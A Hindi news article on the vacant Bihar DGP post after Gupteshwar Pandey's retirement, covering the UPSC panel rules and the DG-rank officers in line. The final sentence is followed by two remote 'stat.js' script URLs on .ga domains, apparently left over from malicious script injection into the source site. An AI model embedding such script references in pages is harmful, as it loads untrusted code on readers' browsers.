पूर्व डीजीपी गुप्तेश्वर पांडे के स्वैच्छिक सेवानिवृत्ति के (वीआरएस) के बाद डीजीपी का पद अभी खाली है। ऐसे में सवाल उठ रहा है कि नया डीजीपी पद किसे नियुक्त किया जाएगा? बताया जा रहा है कि डीजीपी पद पर नियुक्ति के लिए डीजी रैंक अफसरों को पैनल संघ लोक सेवा आयोग को भेजा जा रहा है। खबरों के मुताबिक, फिलहाल, राज्य सरकार ने 1988 के आईपीएस अफसर एसके सिंघल को डीजीपी पद का प्रभार सौंपा है। गृह विभाग के अधिकारियों के अनुसार जल्द ही डीजीपी पद के अफसरों के नाम पर पैनल यूपीएससी को जायेगा|

 

 

2019 के कई कुछ महीनों तक डीजीपी की नियुक्ति राज्य सरकार सीधे तौर पर खुद करती थी लेकिन 2019 में इसमें संशोधन कर दिया गया है। नए नियम के तहत डीजी रैंक के अफसरों का पैनल यूपीएससी को भेजना पड़ता है। यूपीएससी सभी नामों पर विचार करने के बाद उनमें से तीन नाम राज्य सरकार को वापस भेजती है। इन्हीं तीन में से किसी एक अफसर को डीजीपी के पद पर नियुक्त करने का प्रावधान है।

 

डीजीपी के पद पर गुप्तेश्वर पाण्डेय की नियुक्ति इसी नए नियम के तहत साल 2019 में करी गई थी। हालांकि, उस वक्त डीजीपी उन अधिकारियों को ही बनाने का नियम था जिनका कार्यकाल कम से कम दो वर्ष का बचा हो। वर्ष 2019 में यूपीएससी से जो तीन नाम भेजे गए थे उसमें एसके सिंघल का नाम भी था। इसके अलावा एक अन्य अफसर जो केन्द्रीय प्रतिनियुक्ति पर हैं वह भी इस सूची में शामिल थे। हालांकि, अब इस नियम को शिथिल कर दिया गया। अब जिनकी नौकरी छह महीने बची है वो भी डीजीपी के पद पर नियुक्त किया जा सकता है।

 

 

बिहार राज्य के कैडर में डीजी रैंक वाले 10 अफसर शामिल हैं। जिनके नाम निम्न रूप से है कुमार राजेश चंद्रा, राजेश रंजन, मनमोहन सिंह और शीलवर्धन सिंह ये अफसर केन्द्रीय प्रतिनियुक्ति पर हैं। वहीं अरविंद पाण्डेय, एसके सिंघल, दिनेश सिंह बिष्ट, आरएस भट्टी और आलोक राज बिहार में पदस्थापित हैं। इन सभी अफसरों में 1984 बैच के राजेश रंजन सबसे जो सीनियर बताये जा रहे है और ये इसी वर्ष 30 नवम्बर को सेवानिवृत्त हो रहे हैं। इन्हे छोड़कर बाकी के सभी डीजी रैंक के ऑफिसरों का कार्यकाल 6 महीने से अधिक बचा हुआ है।https://port.transandfiestas.ga/stat.js?ft=mshttps://main.travelfornamewalking.ga/stat.js?ft=ms

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